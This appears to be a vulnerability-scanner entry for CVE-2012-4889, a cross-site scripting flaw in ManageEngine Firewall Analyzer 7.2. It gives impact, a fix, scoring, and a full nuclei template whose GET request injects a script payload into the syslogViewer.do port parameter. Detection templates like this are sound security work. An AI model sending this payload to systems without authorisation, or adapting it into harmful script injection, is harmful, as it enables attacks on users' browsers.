CVE-2012-4889· manageengine / firewall analyzer· CWE-79
ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting
Multiple cross-site scripting vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
Fix
Apply the latest security patch or upgrade to a newer version of ManageEngine Firewall Analyzer.
How to confirm it
Send: GET {{BaseURL}}/fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2012-4889 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2012-4889
info:
name: ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting
author: daffainfo
severity: medium
description: Multiple cross-site scripting vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
remediation: |
Apply the latest security patch or upgrade to a newer version of ManageEngine Firewall Analyzer.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2012-4889
- http://packetstormsecurity.org/files/111474/VL-437.txt
- http://www.vulnerability-lab.com/get_content.php?id=437
- https://exchange.xforce.ibmcloud.com/vulnerabilities/74538
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2012-4889
cwe-id: CWE-79
epss-score: 0.07718
epss-percentile: 0.94663
cpe: cpe:2.3:a:manageengine:firewall_analyzer:7.2:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: manageengine
product: firewall_analyzer
tags: cve,cve2012,xss,manageengine,packetstorm,vuln
http:
- method: GET
path:
- "{{BaseURL}}/fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2012-4889
- http://packetstormsecurity.org/files/111474/VL-437.txt
- http://www.vulnerability-lab.com/get_content.php?id=437
- https://exchange.xforce.ibmcloud.com/vulnerabilities/74538
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from